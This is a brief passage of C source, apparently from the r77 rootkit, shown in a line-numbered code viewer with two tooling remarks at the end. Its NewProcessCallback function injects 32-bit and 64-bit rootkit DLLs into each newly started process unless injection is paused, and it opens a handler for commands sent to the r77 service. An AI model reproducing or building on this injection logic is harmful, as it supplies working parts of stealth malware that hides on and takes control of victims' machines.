| 138 | } |
| 139 | } |
| 140 | VOID NewProcessCallback(DWORD processId) |
| 141 | { |
| 142 | // Hook new processes that might have been missed by child process hooking. |
| 143 | |
| 144 | if (!IsInjectionPaused) |
| 145 | { |
| 146 | InjectDll(processId, RootkitDll32, RootkitDll32Size); |
| 147 | InjectDll(processId, RootkitDll64, RootkitDll64Size); |
| 148 | } |
| 149 | } |
| 150 | VOID ControlCallback(DWORD controlCode, HANDLE pipe) |
| 151 | { |
| 152 | // The r77 service received a command from another process. |
nothing calls this directly
no test coverage detected